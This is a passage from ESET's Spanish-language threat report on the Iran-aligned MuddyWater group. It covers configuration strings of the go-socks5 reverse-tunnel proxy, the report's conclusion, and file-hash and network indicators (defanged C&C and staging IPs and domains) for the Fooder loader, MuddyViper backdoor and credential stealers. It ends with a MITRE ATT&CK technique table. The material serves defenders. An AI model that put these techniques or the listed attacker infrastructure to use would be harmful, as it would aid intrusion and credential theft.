dep	  github.com/hashicorp/yamux	v0.1.1	h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep	  golang.org/x/net	v0.29.0	h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep	  golang.org/x/sys	v0.25.0	h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1

Figura 9. Cadenas de configuración de las variantes go-socks5 de MuddyWater

El propósito principal del proxy go-socks5 de MuddyWater es retransmitir la comunicación entre la máquina comprometida (en un puerto específico) y un servidor C&C codificado, utilizando una clave de conexión hardcoded para autenticarse con el servidor C&C a través de SSL/TLS. Esta configuración permite al atacante enrutar el tráfico C&C (potencialmente relacionado con otros compromisos) a través de la máquina comprometida, ocultando así la ubicación del verdadero servidor C&C.

Conclusión

Esta campaña refleja una evolución en la madurez operativa de MuddyWater. El despliegue de componentes previamente no documentados, como el loader Fooder y el backdoor MuddyViper, indica un esfuerzo por mejorar las capacidades de evasión, persistencia y robo de credenciales. El uso de técnicas de evasión inspiradas en mecánicas de juegos, reverse tunneling y un conjunto de herramientas diversificado muestra un enfoque más refinado que en campañas anteriores, aunque persisten indicios de inmadurez operativa.

MuddyWater sigue demostrando su capacidad para ejecutar campañas que oscilan entre nivel medio y medio-alto: oportunas, eficaces y cada vez más difíciles de defender. Aunque estimamos que MuddyWater continuará siendo uno de los principales actores alineados con Irán, prevemos un patrón sostenido de campañas típicas reforzadas con TTP más avanzadas.

 

ESET continuará monitoreando las actividades del grupo, con foco en nuevos indicios de evolución técnica y ataques estratégicos contra gobiernos, fuerzas armadas, telecomunicaciones e infraestructuras críticas.

Para cualquier consulta sobre nuestras investigaciones publicadas en WeLiveSecurity, póngase en contacto con nosotros en threatintel@eset.com.
ESET Research ofrece informes privados de inteligencia APT y fuentes de datos. Para cualquier consulta sobre este servicio, visite la página de ESET Threat Intelligence.

IoCs

Archivos

SHA-1 Filename Detection Description
76632910CF67697BF5D7285FAE38BFCF438EC082 OsUpdater.exe Win64/MuddyWater.E MuddyWater – Fooder launcher.
1723D5EA7185D2E339FA9529D245DAA5D5C9A932 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
69B097D8A3205605506E6C1CC3C13B71091CB519 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B7A8F09CB5FF8A33653988FFBA585118ACF24C13 Blub.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
B8997526E4781A6A1479690E30072F38E091899D stealer.exe Win64/MuddyWater.H MuddyWater – Blub browser-data stealer.
8E21DE54638A79D8489C59D958B23FE22E90944A 7d1e9726b5YZPYc.dll Win32/MuddyWater.B MuddyWater – CE-Notes browser-data stealer.
CD47420F5CE408D95C98306D78B977CDA0400C8F fe197add74IVcQn.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
C1299E8C9A8567A9C292157F3ED65B818AA78900 vmsvc.exe Win64/MuddyWater.I MuddyWater – CE-Notes browser-data stealer.
29CDA06701F9A9C0A6791775C3EB70F5B52BBEFF 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
8F3ED626E7B929450E36E97BA5539C8371DF0EF8 3a70e4c8c2IVcQn.exe Win64/MuddyWater.C MuddyWater – LP-Notes credential stealer.
007B5CD6D6ACF972F7743F79E23CAB9BB2ECBEE3 Dsync-es.exe Win64/MuddyWater.F MuddyWater – Mimikatz loader.
CD36F93DBC4C718930593D8F029EFDCAA52B619B App_chek.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded HackBrowserData tool.
47B70C47BEB33E88B4197D6AF1B768230E51B067 steam.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
D46900D78AE036967E0B37F9EC6A8000131AE604 antimage.exe Win32/MuddyWater.A MuddyWater – Fooder loader with embedded go‑socks5 reverse tunnel.
0657D0B0610618886DDD74C3D0A1D582CDD24863 wtsapi32.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
2939FD218E0145D730BD94AA1C76386A5259EACE msi.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
3BC6502A55A4D5D29132DA4D9943E154A810CC83 WinWin.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
7950296331802188EB99E232E2C383CB9FDD5D7D 20241118_223247_Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
8580824FE14DB158388102B16C1C79DFBBA36083 Launcher.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
B48B93B4EB69D01588D371356EDE614C5E7378DE Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EA8A1C2382FF765709D7F78EF60482598E4C0DEB vcruntime140_1.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
EAF4BAFC62170C9FCA1F6B591848883DBF97F93D Launcher.exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
F5EFBA6CCBA5A6AD6C3AFA928C0E5EAA44597411 ncrypt.dll Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
13DA612D75DC5268F5235F5BACE6D8F0DB0091FF WinWin(persist).exe Win64/MuddyWater.G MuddyWater – Fooder loader with embedded MuddyViper backdoor.
25361183DE63F296BA71B6FCF0725E022B3C989A 0bff183a39ruQsY.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
0E9A4892CFA1C9065B36D8F2E164E28609A8CF5D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2B09241CA025BDC4455E9F6BA6009E2F27C08EDF dttcodexgigas.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
2E9BE23CDD8152DB6CD1A54E001C4EA82FF6F1C6 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
45FA7DE711FEA1F8D1E348E87834246C455DD2ED fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E0EF2386980639FC5355FD68DAFF54EB2AD622E 20d188afdcWgOQB.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
4E9529BA4A6E42D6278D37E3FDEE9E1D991CEBE0 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
50C6D4A2AD16A231CF11C43F3BBC868D90E20D25 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
52009F36058337B6401DA0A0F4885A0C185F0520 bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
535882B6EDAB29247E035236A84CA510FB1E0854 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
544CE18E4C1F1B288DEE6018DFCF4E4D4A315F7A 1110254b63WfTEa.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
54EBC125039CC83E4682CA44DD592534562B25C3 FMAPP.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
5A08150C1DC17E9F691296F0A577C2EC9BA8028C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 proxy reverse tunnel.
5D1E61DA8083C41FF1FC23A1222A4A88B43A4E9B bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6532E0437C8913FA418F1EE258561B15BBEE9052 7295be2b1fHxjyf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
6CA41565844118385B345A39A9B79E0BBC0DD338 re.exe WinGo/TrojanProxy.Agent.F MuddyWater – go‑socks5 reverse tunnel.
6FC50A99AAE1D6C40111632D4F49BD19F9794CF6 8525e604dfKuDNr.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
826CFF5D85713CE4B2F3C15AB53A84E6848D2E2C bd34a33f5bJeJOf.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
87ADD79C7C8335447113EE0D413F52AE2B17F066 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
93055115559219BE8441880597C533381B99213B main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
97C3376AB551E899F347CC9DDF49EA01DB2D7903 504f53ca8esoLmG.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
99FAD0862E2E8D363F3E18952FD92E09493CC27D 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A101CBCCD950AA36FC3B40C3C331FDE43ACDBBD2 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A227C0A4425E24268B759A740231676A589CA4E6 fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A997A7AAE727D2C12CCE80FE3607317775A4DF3E fa54125dc8ZpaNJ.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0271CA76052EC340014D7BCCDBD69325A4E60F2 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B0CD4F5DF192BFFE6500E44B80C28505DFD9CA66 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
B16E7D56A8DC0FF6B3AFD797E1EAB22B20DFFB39 ESETGO.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D49979D0063B28BD73390481E6AE642C00CE0791 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
D518F5C648AB64B390A29AA2858219318CFC556A bd34a33f5bHOVby.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF223D653F761ED55F9C0774F1DBF545FD741F86 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
DF8FC5213AA11EE445EAD1AAE17A826E7D51A743 Revoke.dll WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E02DD79A8CAED662969F6D5D0792F2CB283116E8 66f3e097e4tnyHR.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
E8F4EA3857EF5FDFEC1A2063D707609251F207DB main.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
F26CAE9E79871DF3A47FA61A755DC028C18451FC 7295be2b1fAzMZI.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
FF09608790077E1BA52C03D9390E0805189ADAD7 20d188afdcpfLFq.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.
A9747A3F58F8F408FECEFC48DB0A18A1CB6DACAE AppVs.exe WinGo/TrojanProxy.Agent.D MuddyWater – go‑socks5 reverse tunnel.

Red

IP Domain Hosting provider First seen Details
3.95.7[.]142 N/A Amazon Data Services NoVa 2024‑09‑08 MuddyWater C&C server.
35.175.224[.]64 N/A Amazon Technologies Inc. 2024‑10‑10 MuddyWater C&C server.
51.16.209[.]105 api.tikavodot.co[.]il Amazon Data Services Ireland Technical Role Account 2024‑09‑15 MuddyWater C&C server.
62.106.66[.]112 N/A RIPE-NCC-HM-MNT, ORG-NCC1-RIPE 2024‑09‑29 MuddyWater staging server.
157.20.182[.]45 N/A Hosterdaddy Private Limited 2024‑04‑18 MuddyWater staging server.
161.35.172[.]55 N/A  DigitalOcean, LLC 2022‑11‑12 MuddyWater staging server.
167.99.224[.]13 magicallyday[.]com DigitalOcean, LLC 2022‑11‑06 MuddyWater C&C server.
194.11.246[.]78 N/A HosterDaddy Private Limited 2024‑07‑23 MuddyWater C&C server.
194.11.246[.]101 processplanet[.]org Administrator 2024‑08‑27 MuddyWater staging and C&C server.
206.71.149[.]51 N/A BL Networks 2023‑10‑30 MuddyWater staging server.
212.232.22[.]136 N/A HosterDaddy Private Limited 2025‑01‑16 MuddyWater C&C server.

Técnicas ATT&CK de MITRE

Esta tabla se ha elaborado utilizando la versión 17 del marco MITRE ATT&CK.

Tactic ID Name Description
Reconnaissance T1591 Gather Victim Org Information MuddyWater gathers victim org info to use in spearphishing emails.
Resource Development T1583 Acquire Infrastructure MuddyWater uses acquired infrastructure to host malware download locations and C&C servers.
T1608 Stage Capabilities MuddyWater stages tools like RMM tools and data stealers on file-hosting sites such as OneHub and Mega Limited.
T1587.001 Develop Capabilities: Malware MuddyWater develops backdoors like MuddyViper and tools such as the Fooder loader, LP-Notes credential stealer, and the Blub and CE-Notes browser-data stealers.
T1588.002 Obtain Capabilities: Tool MuddyWater uses publicly available tools from GitHub, such as HackBrowserData and Go-based reverse proxies.
Initial Access T1566.002 Phishing: Spearphishing Link MuddyWater uses spearphishing emails with links to file hosting sites like OneHub and Mega Limited to host RMM software (Atera, Level, and PDQ).
Execution T1059.001 Command-Line Interface: PowerShell MuddyViper has the capability to open and execute PowerShell scripts.
T1059.003 Command-Line Interface: Windows Command Shell MuddyViper has the capability to offer the Windows Command shell as a reverse shell.
T1559.001 Inter-Process Communication: Component Object Model MuddyViper uses the ITaskService COM object to create a scheduled task for persistence.
T1106 Native API MuddyViper uses the CreateProcess API to execute additional files and commands.
T1204.001 User Execution: Malicious Link MuddyWater operators rely on targets clicking malicious links delivered through spearphishing.
Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder MuddyViper has the capability to copy itself to the victim’s Startup folder.
T1543.003 Create or Modify System Process: Windows Service MuddyWater operators attempt to install RMM tools in %PROGRAMFILES%, which also includes creating a Windows service set to autostart.
T1053 Scheduled Task/Job MuddyViper can be persisted as a scheduled task named ManageOnDriveUpdater.
Defense Evasion T1134.001 Access Token Manipulation: Token Impersonation/Theft The LP-Notes and CE-Notes tools attempt to impersonate a logged-on user’s security context via ImpersonateLoggedOnUser.
T1140  Deobfuscate/Decode Files or Information Blub uses string obfuscation for storing stolen data.
Fooder can extract embedded, AES-encrypted payloads.
CE-Notes and LP-Notes both use a custom byte-wise decryption routine to decrypt strings.
T1620 Reflective Code Loading The Fooder loader performs reflective code loading to run additional tools (MuddyViper, reverse tunnels, and HackingBrowserData).
T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion MuddyViper uses many calls to a sleep function to detect and avoid virtualization and analysis environments, and generally to inhibit dynamic analysis.
T1027.007 Obfuscated Files or Information: Dynamic API Resolution CE-Notes and LP-Notes perform dynamic API resolution by decrypting strings at runtime.
T1134.002 Access Token Manipulation: Create Process with Token  Fooder’s launcher attempts to duplicate the token of a process specified by the operator when launching Fooder via CreateProcessAsUserA.
T1622 Debugger Evasion  MuddyViper searches for specific debugging tools, adjusting its behavior accordingly.
T1070.009 Indicator Removal: Clear Persistence MuddyViper can modify registry keys used for persistence, if instructed to uninstall itself.
T1070.004 Indicator Removal: File Deletion MuddyViper can delete itself from the system, if instructed to uninstall itself.
T1036 Masquerading Some versions of Fooder masquerade as an innocuous Snake game.
T1036.004 Masquerading: Masquerade Task or Service MuddyViper can create a task named ManageOnDriveUpdater.
T1112 Modify Registry MuddyViper can modify the HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup and HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup registry keys, to change the location of the Startup folder.
T1027.009 Obfuscated Files or Information: Embedded Payloads Fooder can extract an embedded, AES-encrypted payload.
T1027.013 Obfuscated Files or Information: Encrypted/Encoded File Fooder can extract an embedded, AES-encrypted payload.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers CE-Notes and Blub attempt to steal credentials stored in browsers.
T1056.002  Input Capture: GUI Input Capture MuddyViper and LP-Notes have the ability to display a Windows security login prompt to capture login credentials and confirm the credentials’ veracity by relaying those credentials to legitimate Windows APIs.
Discovery T1082  System Information Discovery MuddyViper collects system information from compromised systems and reports it back to the C&C server.
T1518.001 Software Discovery: Security Software Discovery MuddyViper attempts to get a process list of running applications, looks for security-related processes and, if found, reports them to the C&C server and modifies its behavior.
Collection T1074.001 Data Staged: Local Data Staging Blub, CE-Notes, and LP-Notes stage stolen credentials on disk for MuddyViper, reverse tunnels, or RMM tools to collect and exfiltrate.
T1560.001  Archive Collected Data: Archive via Utility MuddyViper uses PowerShell’s Compress-Archive command to compress browser data collected via the HackBrowserData utility.
Command and Control T1573.001 Encrypted Channel: Symmetric Cryptography MuddyViper uses AES-CBC encryption to encrypt data before exchanging data with the C&C server.
T1219 Remote Access Software MuddyWater use Atera, Level, and PDQ RMM tools for remote access to victims’ systems.
T1071.001 Application Layer Protocol: Web Protocols MuddyViper uses HTTPS for C&C communications. The reverse tunnels use a mixture of HTTP and HTTPS for C&C communications.
T1105 Ingress Tool Transfer MuddyViper has the capability to download additional payloads from its C&C server.
T1001 Data Obfuscation MuddyViper leverages HTTPS for C&C communications, using the Status header to hide a backdoor command ID in the server-to-client direction of the communication.
T1090 Proxy MuddyWater uses customized versions of go‑socks5 reverse proxy tools.
Exfiltration T1041 Exfiltration Over C2 Channel MuddyWater tools exfiltrate data to C&C servers using C&C channels (HTTP and HTTPS).
T1030 Data Transfer Size Limits MuddyViper supports downloading/‌uploading files in chunks of limited size.